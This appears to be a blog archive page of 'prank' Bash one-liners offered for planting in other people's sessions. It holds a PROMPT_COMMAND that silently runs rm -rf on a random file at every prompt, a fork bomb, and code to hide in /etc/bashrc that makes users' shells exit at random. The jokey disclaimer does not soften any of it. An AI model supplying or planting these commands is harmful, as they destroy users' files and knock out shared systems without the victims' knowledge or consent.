Meet the Prompt of Doom
Try to sneak this one into someone’s session and watch the hilarity ensue:
export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'
Archive for the ‘ Bash Bonanza ’ Category
Try to sneak this one into someone’s session and watch the hilarity ensue:
export PROMPT_COMMAND='FILES=($(ls)); rm -rf ${FILES[$[${RANDOM} % ${#FILES[@]}]]} &> /dev/null'
Just enter this little baby into any account where ulimit -u reports unlimited
:() { :|:& };:
This one is sure to confuse. A user will exit his shell somewehere random inside 30 minutes after starting it. Hide the following piece of code somewhere in /etc/bashrc or a .sh file in /etc/profile.d/
export PROMPT_COMMAND='[ ${SECONDS} -ge $[ ${RANDOM} % 1800 ]] && exit'
It's a shame that we actually have to write a disclaimer, but experience tells us that most of you out there are idiots. Well not you of course, because you are actually reading the disclaimer. Here goes:
Neither breakingsystemsforfunandprofit.com nor any of its admins/editors/contributors can be held liable for any damages resulting from the use or lack of use of any information or advice presented here in any way.
Failure to realize that any information presented here for the purpose of breaking systems should not be used on any production or otherwise important systems will result in us making fun of you and your unfortunate offspring should you have any.